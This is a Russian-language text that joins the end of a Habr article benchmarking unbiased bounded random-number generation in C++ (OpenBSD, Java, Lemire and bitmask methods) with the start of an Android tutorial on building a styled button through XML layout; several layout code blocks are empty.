Несмотря на простоту такого подхода, он демонстрирует причину того, что получение чисел в нужном интервале обычно является медленной задачей — для него требуется деление (чтобы вычислить остаток, получаемый оператором `%`). Деление обычно как минимум на порядок величин медленнее, чем другие арифметические операции, поэтому единственная арифметическая операция занимает больше времени, чем вся работа, выполняемая быстрым ГПСЧ.
Но кроме низкой скорости он ещё и *перекошен*. Чтобы понять, почему `rand() % 52` возвращает перекошенные числа, предположим, что `rand()` создаёт числа в интервале [0..232), и заметим что 52 не делит 232 нацело, оно делит его 82 595 524 раз с остатком 48. То есть если мы используем `rand() % 52`, то у нас будет 82 595 525 способов выбрать первые 48 карты из колоды и всего 82 595 524 способов выбрать последние четыре карты. Другими словами, существует перекос 0,00000121% против этих последних четырёх карт (возможно, это короли!). Когда я был учеником и писал домашнюю работу о бросании кубиков или вытаскивании карт, никого обычно не волновали подобные крошечные перекосы, но при увеличении интервала перекос растёт линейно. Для 32-битного ГПСЧ ограниченный интервал меньше 224 имеет перекос меньше 0.5%, но выше 231 перекос составляет 50% — некоторые числа будут возвращаться в два раза чаще, чем другие.
В этой статье мы в основном будем рассматривать методики, в которых используются стратегии для устранения систематической ошибки, но наверно стоит сказать, что для 64-битного ГПСЧ величина перекоса в обычных случаях применения скорее всего будет ничтожной.
Ещё одна проблема может заключаться в том, что некоторые генераторы имеют слабые младшие биты. Например, семейства ГПСЧ Xoroshiro+ и Xoshiro+ имеют младшие биты, которые не проходят статистических тестов. Когда мы выполняем `% 52` (потому что 52 чётное), то передаём младший бит прямиком на выход.
#### Умножение чисел с плавающей запятой (с перекосом)
Ещё одна распространённая методика — использование ГПСЧ, генерирующего числа с плавающей запятой в интервале [0..1) с последующим преобразованием этих чисел в нужный интервал. Такой подход применяется в Perl, в нём [рекомендуется](https://metacpan.org/pod/distribution/perl/pod/perlfunc.pod#rand-EXPR) использовать `int(rand(10))` для генерации целого числа в интервале [0..10) генерацией числа с плавающей запятой с последующим округлением вниз.
На C++ этот подход записывается так:
```
static uint32_t bounded_rand(rng_t& rng, uint32_t range) {
double zeroone = 0x1.0p-32 * rng();
return range * zeroone;
}
```
(Учтите, что `0x1.0p-32` — это двоичная константа с плавающей запятой для 2-32, которую мы используем для преобразования случайного целого числа в интервале [0..232) в double в единичном интервале; вместо этого мы можем выполнить такое преобразование с помощью `ldexp(rng(), -32)`, но когда я провёл бенчмарк такого подхода, он оказался гораздо медленнее.)
Этот подход столь же перекошен, как и классический остаток от деления, но перекос проявляется иначе. Например, если бы мы выбирали числа в интервале [0..52), то числа 0, 13, 26 и 39 встречались бы на один раз реже, чем другие.
Эта версия при обобщении до 64 бит ещё более неприятна, потому что для неё требуется тип с плавающей запятой, мантисса которого не менее 64 бит. На машинах x86 с Linux и macOS мы можем использовать `long double`, чтобы воспользоваться числами x86 с плавающей запятой повышенной точности, имеющими 64-битную мантиссу, но `long double` не портируется универсально на все системы — в некоторых системах `long double` эквивалентен `double`.
Есть и хорошая сторона — этот подход работает быстрее, чем решения на основе остатков для ГПСЧ со слабыми младшими битами.
#### Целочисленное умножение (с перекосом)
Метод умножения можно адаптировать к арифметике с фиксированной, а не с плавающей запятой. По сути, мы просто постоянно умножаем на 232,
```
uint32_t bounded_rand(rng_t& rng, uint32_t range) {
uint32_t x = rng();
uint64_t m = uint64_t(x) * uint64_t(range);
return m >> 32;
}
```
Может показаться, что для этой версии требуется 64-битная арифметика, на процессорах x86 хороший компилятор скомпилирует этот код в 32-битную инструкцию `mult` (которая даёт нам два 32-битных выходных значения, одно из которых является возвращаемым значением). Можно ожидать, что эта версия будет быстрой, но она перекошена точно так же, как метод умножения чисел с плавающей запятой.
#### Деление с отбрасыванием (без перекоса)
Мы можем модифицировать схему умножения чисел с плавающей запятой в схему на основе деления. Вместо умножения `x * range / 2**32` мы вычисляем `x / (2**32 / range)`. Так как мы работаем с целочисленной арифметикой, округление в этой версии будет выполняться иначе, и иногда генерировать значения за пределами нужного интервала. Если мы будем отбрасывать эти значения (например избавляться от них и генерировать новые значения), то в результате получим методику без перекосов.
Например, в случае вытаскивания карты с помощью 32-битного ГПСЧ мы можем сгенерировать 32-битное число и разделить его на 232/52 = 82 595 524, чтобы выбрать карту. Эта методика работает, если случайное значение из 32-битного ГПСЧ меньше 52 × 82595524 = 232/32 – 48. Если случайное значение из ГПСЧ является одним из последних 48 значений верхней части интервала генератора, то его нужно отбросить и искать другое.
В нашем коде для этой версии используется трюк с делением 232 на `range` без применения 64-битной математики. Для непосредственного вычисления `2**32 / range` нам необходимо представить число 232, которое слишком велико (на единицу!) для представления как 32-битного целого числа. Вместо этого мы учтём, что для беззнаковых целых унарная операция отрицания `range` вычисляет положительное значение 232 – `range`; поделив это значение на `range`, мы получим ответ на единицу меньше, чем `2**32 / range`.
Следовательно, код на C++ для генерации чисел с помощью деления с отбрасыванием выглядит так:
```
uint32_t bounded_rand(rng_t& rng, uint32_t range) {
// calculates divisor = 2**32 / range
uint32_t divisor = ((-range) / range) + 1;
if (divisor == 0) // overflow, it's really 2**32
return 0;
for (;;) {
uint32_t val = rng() / divisor;
if (val < range)
return val;
}
}
```
Разумеется, такой подход требует двух медленных операций на основе деления, которые обычно медленнее, чем другие арифметические операции, поэтому не стоит ожидать, что он будет быстрым.
#### Остаток от деления (двойной) без перекосов — методика OpenBSD
Мы также можем применить подход с отбрасыванием для устранения перекоса в классическом методе остатка от деления. В примере с игральными картами нам снова нужно отбросить 48 значения. В этой версии вместо отбрасывания *последних* 48 значений мы (эквивалентно) отбрасываем *первые* 48 значений.
Вот реализация этого подхода на C++:
```
uint32_t bounded_rand(rng_t& rng, uint32_t range) {
// calculates 2**32 % range
uint32_t t = (-range) % range;
for (;;) {
uint32_t r = rng();
if (r >= t)
return r % range;
}
}
```
Эта техника устраняет перекос, но для неё требуется две затратные по времени операций деления с остатком на каждое выходное значение (и может потребоваться внутренний генератор для создания нескольких чисел). Следовательно, стоит ожидать, что способ будет примерно в два раза медленнее классического подхода с перекосом.
В [`коде arc4random_uniform` OpenBSD](http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/lib/libc/crypt/arc4random.c?rev=1.22&content-type=text/x-cvsweb-markup) (который также используется в OS X и iOS) применяется эта стратегия.
#### Остаток от деления (одиночный) без перекоса — методика Java
В Java используется другой подход к генерации числа в интервале, в котором используется только одна операция деления с остатком, за исключением довольно редких случаев отбрасывания результата. Код:
```
static uint32_t bounded_rand(rng_t& rng, uint32_t range) {
uint32_t x, r;
do {
x = rng();
r = x % range;
} while (x - r > (-range));
return r;
}
```
Чтобы понять, почему этот вариант работает, нужно немного подумать. В отличие от предыдущей версии, основанной на остатках, которая устраняет перекос удалением части самых низких значений из внутреннего движка генерации, эта версия отфильтровывает значения из верхней части интервала движка.
#### Целочисленное умножение без перекосов — методика Лемира
Почти так же, как мы устранили перекос из методики остатка от деления, мы можем устранить перекос из методики целочисленного умножения. Эта методика была придумана Лемиром.
```
uint32_t bounded_rand(rng_t& rng, uint32_t range) {
uint32_t t = (-range) % range;
do {
uint32_t x = rng();
uint64_t m = uint64_t(x) * uint64_t(range);
uint32_t l = uint32_t(m);
} while (l < t);
return m >> 32;
}
```
#### Битовая маска с отбрасыванием (без перекосов) — методика Apple
В нашем последнем подходе полностью исключаются операции деления и остатка. Вместо них в нём используется простая операция маскирования для получения случайного числа в интервале [0..2*k*), где *k* — наименьшее значение, такое, что 2*k* больше интервала. Если значение слишком велико для нашего интервала, мы отбрасываем его и пробуем получить другое. Код показан ниже:
```
uint32_t bounded_rand(rng_t& rng, uint32_t range) {
uint32_t mask = ~uint32_t(0);
--range;
mask >>= __builtin_clz(range|1);
uint32_t x;
do {
x = rng() & mask;
} while (x > range);
return x;
}
```
Этот подход был принят компанией Apple, когда (в релизе macOS Sierra) она выполняла [собственную ревизию](https://opensource.apple.com/source/Libc/Libc-1158.50.2/gen/FreeBSD/arc4random.c) кода `arc4random_uniform`.
### Бенчмаркинг базовых методик
Теперь у нас есть несколько подходов, которые можно оценить. К сожалению, когда нас беспокоят затраты на одну операцию деления, бенчмаркинг становится нетривиальным делом. Никакой бенчмарк не способен учесть все факторы, влияющие на область применения, и нет никаких гарантий, что наилучший вариант для вашего приложения обязательно будет лучшим для моего.
Мы используем три бенчмарка и протестируем методики со множеством различных ГПСЧ.
#### Бенчмарк Large-Shuffle
Вероятно, самый очевидный бенчмарк — это перемешивание. В этом бенчмарке мы имитируем выполнение крупномасштабного перемешивания. Для сортировки массива размером *N* мы должны сгенерировать числа в интервалах [0..*N*), [0..(*N*-1)), …, [0..1). В этом бенчмарке мы будем считать, что *N* — это максимально возможное число (для `uint32_t` это 232-1 ). Код:
```
for (uint32_t i = 0xffffffff; i > 0; --i) {
uint32_t bval = bounded_rand(rng, i);
assert(bval < i);
sum += bval;
}
```
Заметьте, что мы «используем» каждое число, прибавляя его к `sum` (чтобы его не отбросила оптимизация), но не выполняем никакого перемешивания, чтобы сосредоточиться на генерации чисел.
Для тестирования 64-битной генерации у нас есть аналогичный тест, но будет непрактично выполнять тест, соответствующий перемешиванию массива размером 264 – 1 (потому что на выполнение этого более масштабного бенчмарка потребуется много тысяч лет). Вместо этого мы пересечём весь 64-битный интервал, но сгенерируем то же количество выходных значений, что и в 32-битном тесте. Код:
```
for (uint32_t i = 0xffffffff; i > 0; --i) {
uint64_t bound = (uint64_t(i)<<32) | i;
uint64_t bval = bounded_rand(rng, bound );
assert(bval < bound);
sum += bval;
}
```
##### Результаты вихря Мерсенна
Показанные ниже результаты демонстрируют производительность этого бенчмарка для каждого из рассмотренных нами методов при использовании вихря Мерсенна и тестировании на рассмотренном в статье 32-битном (при помощи `std::mt19937` из `libstdc++`) и аналогичном 64-битном коде (при помощи `std:mt19937_64` из `libstdc++`). Результаты — это геометрическое среднее 15 прогонов с разными значениями seed, которое затем нормализовано, чтобы классический метод остатка от деления имел единичное время выполнения.
Может показаться, что у нас есть чёткие ответы о производительности — похоже, можно выстроить методики по их совершенству, и задаться вопросом, о чём думали разработчики `libstdc++`, когда писали столь ужасную реализацию для 32-битных чисел. Но, как это часто бывает при бенчмаркинге, ситуация сложнее, чем кажется по этим результатам. Во-первых, есть риск того, что результаты могут быть специфичными для вихря Мерсенна, поэтому мы расширим множество тестируемых ГПСЧ. Во-вторых, может существовать малозаметная проблема с самим бенчмарком. Давайте сначала разберёмся с первым вопросом.
##### Результаты разных ГПСЧ
32-битные ГПСЧ мы протестируем с помощью `arc4_rand32`, `chacha8r`, `gjrand32`, `jsf32`, `mt19937`, `pcg32`, `pcg32_fast`, `sfc32`, `splitmix32`, `xoroshiro64+`, `xorshift*64/32`, `xoshiro128+` и `xoshiro128**`, а 64-битные ГПСЧ — с помощью `gjrand64`, `jsf64`, `mcg128`, `mcg128_fast`, `mt19937_64`, `pcg64`, `pcg64_fast`, `sfc64`, `splitmix64`, `xoroshiro128+`, `xorshift*128/64`, `xoshiro256+` и `xoshiro256*`. Эти наборы дадут нам несколько медленных ГПСЧ и большое количество очень быстрых.
Вот результаты:
Мы можем увидеть ключевые отличия от результатов с вихрем Мерсенна. Более быстрые ГПСЧ сдвигают равновесие в сторону ограничивающего кода, а потому разница между разными подходами становится более явной, особенно в случае 64-битных ГПСЧ. При более широком наборе ГПСЧ реализация `libstc++` перестаёт казаться такой ужасной.
##### Выводы
В этом бенчмарке со значительным отрывом выигрывает в скорости подход на основе умножения с перекосом. Есть множество ситуаций, в которых границы будут маленькими относительно размера ГПСЧ, а производительность абсолютно критична. В таких ситуациях незначительный перекос скорее всего не окажет заметного влияния, зато скорость ГПСЧ окажет. Одним из таких примеров является Quicksort со случайной опорной точкой. Из методов без перекосов многообещающей выглядит техника битовых масок.
Но прежде чем делать серьёзные выводы, нам нужно указать на огромную проблему этого бенчмарка — основная часть времени тратится на очень высокие границы, что скорее всего придаёт чрезмерное значение большим интервалам. Следовательно, нам нужно перейти ко второму бенчмарку.
#### Бенчмарк Small-Shuffle
Этот бенчмарк похож на предыдущий, но выполняет гораздо меньшее «перемешивание массива» (многократное). Код:
```
for (uint32_t j = 0; j < 0xffff; ++j) {
for (uint32_t i = 0xffff; i > 0; --i) {
uint32_t bval = bounded_rand(rng, i);
assert(bval < i);
sum += bval;
}
}
```
##### Результаты вихря Мерсенна
##### Результаты разных ГПСЧ
##### Выводы
Этот бенчмарк избегает слишком большого упора на большие границы и более точно отражает реальные случаи применения, но теперь полностью отбрасывает большие границы.
#### Бенчмарк для всех интервалов
Этот бенчмарк направлен на то, чтобы избежать недостатков предыдущих двух; он выполняет тестирование при каждом размере степени двойки, чтобы присутствовал каждый размер, но его влияние не переоценивалось.
```
for (uint32_t bit = 1; bit != 0; bit <<= 1) {
for (uint32_t i = 0; i < 0x1000000; ++i) {
uint32_t bound = bit | (i & (bit - 1));
uint32_t bval = bounded_rand(rng, bound);
assert(bval < bound);
sum += bval;
}
}
```
##### Результаты вихря Мерсенна
##### Результаты разных ГПСЧ
##### Выводы
Многие из наших выводов остаются неизменными. Метод умножения с перекосом быстр, если мы можем смириться с погрешностью, а схема с битовой маской, похоже, является хорошим усреднённым выбором.
На этом мы могли бы завершить, если бы не захотели вернуться обратно, критически взглянуть на свой код и внести в него изменения.
### Вносим улучшения
До этого момента все методы устранения перекоса требовали использования дополнительной операции остатка деления, из-за чего они выполняются гораздо медленнее, чем методы с перекосом. Было бы полезно, если бы мы смогли снизить этот перевес.
#### Более быстрое отбрасывание на основе порогов
В некоторых наших алгоритмах есть код с использованием порогового значения, например:
```
uint32_t bounded_rand(rng_t& rng, uint32_t range) {
// calculates 2**32 % range
uint32_t t = (-range) % range;
for (;;) {
uint32_t r = rng();
if (r >= t)
return r % range;
}
}
```
Когда `range` мал по сравнению с выходным интервалом ГПСЧ, чаще всего число будет *намного больше* порога. То есть если мы сможем добавить предварительную оценку порога, который может быть немного больше, то сэкономим на затратной операции взятия остатка деления.
С этой задачей справляется такой код:
```
uint32_t bounded_rand(rng_t& rng, uint32_t range) {
uint32_t r = rng();
if (r < range) {
uint32_t t = (-range) % range;
while (r < t)
r = rng();
}
return r % range;
}
```
Это изменение можно применить и к «двойному Mod без перекосов» (см. выше), и к «целочисленному умножению без перекосов». Идею придумал Лемир, который применил её ко второму методу (но не к первому).
##### Результаты бенчмарка Large-Shuffle
Эта оптимизация приводит к значительному улучшению результатов 64-битного бенчмарка (в котором mod даже медленнее), но на самом деле слегка ухудшает производительность в 32-битном бенчмарке. Несмотря на усовершенствования, метод с битовой маской всё равно побеждает.
##### Результаты бенчмарка Small-Shuffle
С другой стороны, это изменение значительно ускоряет бенчмарк small-shuffle и для метода умножения целых чисел, и для метода двойного остатка от деления. В обоих случаях их производительность сдвигается ближе к результатам вариантов без перекосов. Производительность метода двойного остатка (OpenBSD) теперь почти равна показателям метода одиночного остатка (Java).
##### Результаты бенчмарков для всех интервалов
Похожее улучшение мы видим и в бенчмарке для всех интервалов.
Похоже, что мы можем объявить нового всеобщего победителя: оптимизированный метод умножения целых чисел Лемира без перекосов.
#### Оптимизация остатка от деления
Обычно для вычисления `a % b` требуется деление, но в ситуациях, когда `a < b` результатом будет просто `a`, а деление не требуется. А когда `a/2 < b`, результат равен просто `a - b`. Следовательно, вместо вычислений
```
a %= b;
```
мы можем выполнить
```
if (a >= b) {
a -= b;
if (a >= b)
a %= b;
}
```
Затратность деления настолько значительна, что повышение расходов на этот более сложный код может оправдать себя экономией времени благодаря отсутствию деления.
##### Результаты бенчмарка Large-Shuffle
Добавление этой оптимизации значительно улучшает результаты бенчмарка large-shuffle. Это снова более заметно в 64-битном коде, где операция взятия остатка затратнее. В методе с двойным остатком (в стиле OpenBSD) показаны версии с оптимизацией только для одной операции остатка и для обеих.
В этом бенчмарке битовая маска по-прежнему остаётся победителем, но граница между нею и подходом Лемира значительно сузилась.
##### Результаты бенчмарка Small-Shuffle
Добавление этой оптимизации не повышает производительность бенчмарка small-shuffle, поэтому вопрос остаётся только в том, добавляет ли он значительные затраты. В некоторых случаях нет, в других затраты увеличиваются незначительно.
##### Результаты бенчмарка для всех интервалов
В бенчмарке для всех интервалов изменения тоже малы.
#### Бонус: результаты сравнения ГПСЧ
Основная причина использования множества ГПСЧ для тестирования схем чисел в интервалах заключалась в том, чтобы избежать непреднамеренного искажения результатов вследствие особенностей работы отдельных схем ГПСЧ. Но мы можем использовать те же результаты внутренних тестов и для сравнения самих схем генерации.
##### ГПСЧ с выводом 32-битных чисел
График ниже показывает производительность разных 32-битных схем генерации, усреднённых для всех методов и пятнадцати прогонов, нормализованные по производительности 32-битного вихря Мерсенна:
С одной стороны, я рад видеть, что `pcg32_fast` и в самом деле быстр — его победил только небольшой вариант Xoroshiro (который не проходит статистические тесты). Но это показывает и то, почему я редко расстраиваюсь из-за производительности современных высокопроизводительных ГПСЧ общего назначения — разница между разными методами очень незначительна. В частности, самые быстрые четыре схемы отличаются по производительности меньше чем на 5%, и я считаю, что это просто вызвано «шумом».
##### ГПСЧ с выводом 64-битных чисел
На графике показана производительность разных 64-битных схем генерации, усреднённых среди всех техник и пятнадцати прогонов, нормализованных по производительности 32-битного вихря Мерсенна. Может показаться странным, что нормализация выполняется по 32-битному вихрю Мерсенна, но это позволяет нам увидеть дополнительные затраты от использования 64-битной генерации в случаях, когда достаточно 32-битной генерации.
Эти результаты подтверждают, что `mcg128_fast` невероятно быстр, но последние четыре техники снова отличаются всего примерно на 5%, поэтому из самых быстрых методов выбирать сложно. `pcg64` и `pcg64_fast` обязаны быть медленнее `mcg128_fast`, потому что их базовыми генераторами являются 128-битные линейные конгруэнтные генераторы (ЛКГ, LCG) и 128-битные мультипликативные конгруэнтные генераторы (МКГ, MCG). Несмотря на то, что они не являются самыми быстрыми техниками в этом наборе, `pcg64` всё равно на 20% быстрее 64-битного вихря Мерсенна.
Но возможно более важно то, что эти результаты также показывают, что если вам не нужен 64-битный вывод, то 64-битный ГПСЧ обычно медленнее, чем 32-битный.
### Выводы
Из наших бенчмарков мы можем увидеть, что переход от стандартно используемых ГПСЧ (например, 32-битного вихря Мерсенна) к более быстрым ГПСЧ снизило время выполнения бенчмарков на 45%. Но переход от стандартного метода поиска числа в интервале к нашему самому быстрому методу позволило снизить время бенчмарка примерно на 66%; другими словами, до одной трети от исходного времени.
Самый быстрый метод (без перекосов) — это метод Лемира (с моей дополнительной оптимизацией). Вот он:
```
uint32_t bounded_rand(rng_t& rng, uint32_t range) {
uint32_t x = rng();
uint64_t m = uint64_t(x) * uint64_t(range);
uint32_t l = uint32_t(m);
if (l < range) {
uint32_t t = -range;
if (t >= range) {
t -= range;
if (t >= range)
t %= range;
}
while (l < t) {
x = rng();
m = uint64_t(x) * uint64_t(range);
l = uint32_t(m);
}
}
return m >> 32;
}
```
Использование метода Лемира улучшит производительность большинства рандомизированных алгоритмов больше, чем переход от быстрого движка генерации к работающему немного быстрее.
### Приложения: примечания по тестированию
Код всех тестов выложен на [GitHub](https://github.com/imneme/bounded-rands). В целом я протестировал 23 метода для `bounded_rand` с помощью 26 разных ГПСЧ (13 32-битных ГПСЧ и 13 64-битных), в двух компиляторах (GCC 8 и LLVM 6), что дало мне 26 \* 23 \* 2 = 1196 исполняемых файлов, каждый из которых выполнялся с одинаковыми 15 seed, что даёт 1196 \* 15 = 17 940 уникальных прогонов тестов, в каждом из которых объединено три бенчмарка. В основном я прогонял тесты на 48-ядерной машине с четырьмя процессорами Xeon E7-4830v3 с частотой 2,1 ГГц. Выполнение полного набора тестов потребовало чуть меньше месяца процессорного времени.
В конце вернёмся к ситуации из введения статьи. Представим, что Саша использовал `jsf32.STD-libc++`, а Хуан — `mt19937.BIASED_FP_MULT_SCALE`. В бенчмарке 3, последний занимает на 69,6% меньше времени. То есть время из этой вымышленной ситуации основано на данных из реальности. | https://habr.com/ru/post/455702/ | null | ru | null |
# Тайны кнопок в Android. Часть 1: Основы верстки
Приветствую, уважаемое сообщество.
В своем цикле статей по разработке Android-приложений я хочу поделиться с вами интересными и полезными приемами верстки сложных элементов управления. Мы рассмотрим как базовые приемы верстки, так и продвинутые способы ее оптимизации, которые существенно облегчают развитие и сопровождение Android-приложений, экономят время и деньги.
Первая часть предназначена для начинающих разработчиков. Я покажу, как сделать достаточно сложную кнопку исключительно версткой, не применяя Java-кода, ни тем более собственных компонентов. Знание этих приемов верстки пригодится и при работе с другими компонентами Android. По ходу статьи я буду подробно пояснять, что означают те или иные константы, атрибуты, команды и тому подобное. Но я также буду давать ссылки на официальную документацию Google, где вы можете подробно изучить каждую тему. Данная статья обзорная, я не ставлю цели привести здесь всю документацию, переведенную на русский язык. Поэтому я рекомендую изучать официальные источники, в частности те статьи, ссылки на которые я привожу здесь.
Что мы хотим сделать в данной статье? Допустим, мы делаем приложение, позволяющее включать/выключать функцию телефонии на смартфоне, в приложении будет кнопка “вкл/выкл”. Мы создадим кнопку с нашим собственным фоном и рамкой со скругленными углами. Фон и рамка будут меняться, когда кнопка получает фокус или становится нажатой. У кнопки будет текстовое название и иконка, поясняющая назначение кнопки визуально. Цвет текста и иконки также будет меняться при нажатии. Что еще? Так как кнопки “вкл./выкл.” встречаются в приложениях довольно часто, в Android уже есть готовый функционал для хранения/изменения состояния. Мы будем использовать его вместо того, чтобы изобретать собственный велосипед. Но отображение этого состояния мы сделаем свое, чтобы оно подходило нам по стилю.
Выглядеть это будет примерно так:
По левому краю кнопки располагаем иконку. Текст кнопки выравниваем по вертикали по центру, а по горизонтали левому краю. Но при этом текст не должен оказаться поверх иконки. По правому краю кнопки выравниваем индикатор включенного или выключенного телефона. Пространство между текстом на кнопке и правой иконкой индикатора “тянется” при необходимости. При нажатии кнопки фон становится серым, а рамка и все элементы на кнопке становятся белыми.
Делать все это будем только версткой. Почему верстка, а не код? Правильно сверстанная страница может легко стилизоваться, то есть ее можно менять практически до неузнаваемости простой заменой стиля. Можно даже предлагать пользователю выбирать тот стиль, который ему больше по душе. Стили в Android — это аналог каскадных таблиц CSS в HTML.
Решения, выполненные версткой, обычно компактнее аналогичных решений, выполненных кодом, при этом меньше шансов допустить ошибку. И большинство сверстанных без применения кода страниц можно просматривать и отлаживать в режиме дизайн (то есть прямо в IDE), для этого не нужно запускать приложение, ожидать деплоя и т.п.
##### Создаем каркас приложения
Приступим к реализации. Для демонстрации я буду использовать Android Developer Tools (ADT), построенный на Eclipse.
Создадим новый проект. File->New->Android Application Project.
Application Name: `MysteriesOfButtonsPart1`
Project Name: `MysteriesOfButtonsPart1`
Package Name: `com.mysteriesofbuttons.part1`
Остальные параметры оставим по умолчанию:
Next. На следующей странице для экономии времени позволим ADT создать для нас тестовую Activity:
Next. Иконки оставим по умолчанию, в данном случае речь не о них.
Next. Создаем пустую Activity, то есть опять же все по умолчанию:
Next. Имя Activity оставляем без измений:
Finish. Наконец-то можем перейти к делу.
##### Простейшая кнопка
Начнем с кода Layout. Откроем файл `/res/layout/activity_main.xml` и заменим все его содержимое следующим кодом:
```
```
`RelativeLayout` — макет, в котором дочерние элементы размещаются относительно друг друга, например, расположить кнопку слева от другой кнопки и т.п. Подробнее о работе `RelativeLayout` можно почитать [здесь](http://developer.android.com/guide/topics/ui/layout/relative.html).
`Button` — наша кнопка. Мы задаем ей атрибут `android:id`, по которому сможем идентифицировать ее в приложении. Формат `@+id/` означает, что в ресурсах должен быть создан новый идентификатор. Если бы мы указали `@id/`, то это бы означало, что в ресурсах указанный идентификатор уже должен быть.
А вот так мы задаем отображаемый пользователю текст: `android:text="Телефония"`
Забегая вперед, скажу, что весь текст, который видит пользователь, должен храниться не в коде макетов страниц и не в Java-коде, а в ресурсах `strings.xml`, чтобы приложение могло поддерживать более одного языка, но об этом подробнее в следующей части. Пока что мы укажем текст прямо в макете, чтобы улучшить наглядность примера.
Как `RelativeLayout`, так и `Button` имеют атрибуты `android:layout_width` и `android:layout_height`. Это обязательные атрибуты любого `View`. Как следует из названия, они обозначают соответственно ширину и высоту элементов. Их можно задавать в различных единицах, но мы не используем конкретные размеры, как вы могли заметить. Мы используем константы `match_parent` и `wrap_content`.
`match_parent` означает, что элемент должен полностью заполнить своего родителя по горизонтали либо по вертикали, в зависимости от того, задаем ли мы ширину или высоту.
`wrap_content` означает, что размер элемента должен быть минимальным, но таким, чтобы все содержимое элемента в него поместилось.
Есть еще константа `fill_parent`, которая означает ровно то же самое, что и `match_parent`. Зачем использовать две одинаковых константы? `fill_parent` был введен до версии API 8, а с восьмой версии является устаревшим и не рекомендуется к использованию. Дело в том, что для англоязычных разработчиков `match_parent` точнее отражает смысл константы, чем `fill_parent`.
Я стараюсь использовать эти константы `match_parent` и `wrap_content` везде, где только возможно, всячески избегая указания фиксированных размеров, так как приложения Android работают на устройствах с сильно отличающимися размерами экранов.
Теперь, когда с основой окна разобрались, давайте перейдем к коду нашей Activity `MainActivity.java`:
```
package com.mysteriesofbuttons.part1;
import android.app.Activity;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
}
```
В этом коде мы видим только одну имеющую смысл команду: `setContentView(R.layout.activity_main);`
Этот метод устанавливает ресурс макета страницы, с которым будет работать Activity.
Давайте запустим наше приложение и посмотрим, что получилось:
А теперь откроем в Eclipse файл `activity_main.xml` и нажмем кнопку `Graphical Layout`:
Мы видим ту же кнопку с теми же размерами, в тех же цветах, что и на эмуляторе. Только чтобы это увидеть, нам не пришлось ждать запуска эмулятора и деплоя приложения. Сохранили время? Первый профит от верстки. В дальнейшем будем стараться обходиться без эмулятора, тестируя на нем не каждый шаг, а только готовую версию.
##### Стили текста
Теперь займемся выравниванием. Сейчас текст на кнопке выровнен по центру. Это стиль по умолчанию для кнопки. Но нам нужно выровнять текст по левому краю, сохранив выравнивание по центру по вертикали. Как это сделать? Добавим к кнопке атрибут `android:gravity`:
```
```
Этот атрибут может принимать одно или два значения, в нашем случае два. Значения разделяются вертикальной чертой `|`
Как это выглядит:
О различных вариантах выравнивания и о том, что они означают, можно подробно почитать [здесь](http://developer.android.com/reference/android/widget/TextView.html#attr_android:gravity)
Попробуйте “поиграть” с этими вариантами и посмотреть, как это влияет на внешний вид кнопки. Если хотите сделать текст на кнопке жирным и/или курсивом, воспользуйтесь параметром `android:textStyle`, например `android:textStyle="bold|italic"`. Если нужно изменить размер текста на кнопке, подойдет параметр `android:textSize`, например: `android:textSize="24sp"`.
`sp` — Scale-independent Pixels — единица измерения, основанная на плотности экрана и на настройках размера шрифта. Чтобы текст выглядел одинаково хорошо на разных экранах, рекомендуется задавать его размер именно в `sp`.
Зададим эти параметры нашей кнопке:
```
```
Я предпочитаю оставлять стили ближе к значениям по умолчанию, так как они тщательно подбирались высоко оплачиваемыми дизайнерами, и с моим чувством вкуса я очень сомневаюсь, что смогу сделать лучше. Данный пример призван показать читателю как можно больше возможностей, и не претендует на звание произведения искусства, поэтому прошу не пинать за то, что раньше оно выглядело лучше.
##### Помещаем иконку на кнопку
Идем дальше. Теперь нам нужно добавить иконку на кнопку. Иконка задается следующим файлом `icon_phone_normal.png`:
[ кликните, чтобы скачать](https://habrastorage.org/getpro/habr/post_images/83f/5c1/5d3/83f5c15d3698d6a08e3eba45df5fbabe.png)
Импортируем его в ресурсы приложения в каталог `drawable-hdpi`. Чтобы задать иконку кнопке, добавим ей атрибут `android:drawableLeft`:
```
```
Кроме `android:drawableLeft`, есть еще несколько атрибутов, которые позволяют задавать иконки, размещая их в других частях кнопки: `android:drawableTop`, `android:drawableBottom`, `android:drawableRight`, `android:drawableStart`, `android:drawableEnd`.
Как вы заметили, мы указали путь к иконке без расширения `PNG`, а также без суффикса `-hdpi`. Это не опечатка. Расширение никогда не указывается, так как в имени идентификатора не может быть точки. А суффикс `-hdpi` будет подставлен Android автоматически, так как это единственный каталог `drawable`, в котором есть иконка `icon_phone_normal`. Если бы иконка была не только в каталоге `drawable-hdpi`, но и в `drawable-mdpi`, к примеру, то Android выбрал бы наиболее полходящую для разрешения экрана того устройства, на котором запущено приложение. Так вы можете поставлять качественные продукты, одинаково хорошо выглядящие на устройствах с разным размером и плотностью экрана. О поддержке разных экранов у Google есть очень хорошая [статья](http://developer.android.com/guide/practices/screens_support.html).
##### Собственный фон для кнопки
Теперь, когда мы разобрались с drawable-ресурсами, давайте заменим фон нашей кнопки на тот, который нам нужен. Для этого мы будем использовать такую картинку `button_normal.png`:
[ кликните, чтобы скачать](https://habrastorage.org/getpro/habr/post_images/919/a29/336/919a293364a981d698875be052874376.png)
Импортируйте ее в `drawable-hdpi`. На картинке мы видим черные полоски вдоль каждой из границ экрана. Они служат для того, чтобы Android правильно растягивал картинку под нужный нам размер. Левая и верхняя линии показывают, какая область картинки будет растягиваться по вертикали и горизонтали соответственно. А правая и нижняя линии показывают, в какую область растянутой картинки нужно вписывать содержимое элемента, если у него есть дочерние элементы. При этом сами черные линии конечно же не видны на результирующей картинке.
Это называется nine-patch drawable, об этой технике верстки подробно можно почитать [здесь](http://developer.android.com/guide/topics/graphics/2d-graphics.html#nine-patch)
Чтобы ресурс считался 9-patch, в его имени перед расширением должна присутствовать девятка, отделенная от остального имени еще одной точкой, как у нас: `button_normal.9.png`
Как назначить элементу такой растягиваемый фон? Откроем текст нашей кнопки и добавим ей атрибут `android:background`:
```
```
Выглядит не очень красиво, так как кнопка “прижалась” к сторонам экрана вплотную. Это случилось потому, что в фоне по умолчанию, который мы сменили на наш собственный, рамка кнопки была нарисована с отступом, и этот отступ мы видели на предыдущих скриншотах. Мы также можем перерисовать фон кнопки, но можем задать отступ и другим способом, и хорошо бы сразу для всех элементов окна, чтобы не дублировать код для каждого. Для этого подойдет атрибут `android:padding` у тега `RelativeLayout`:
```
```
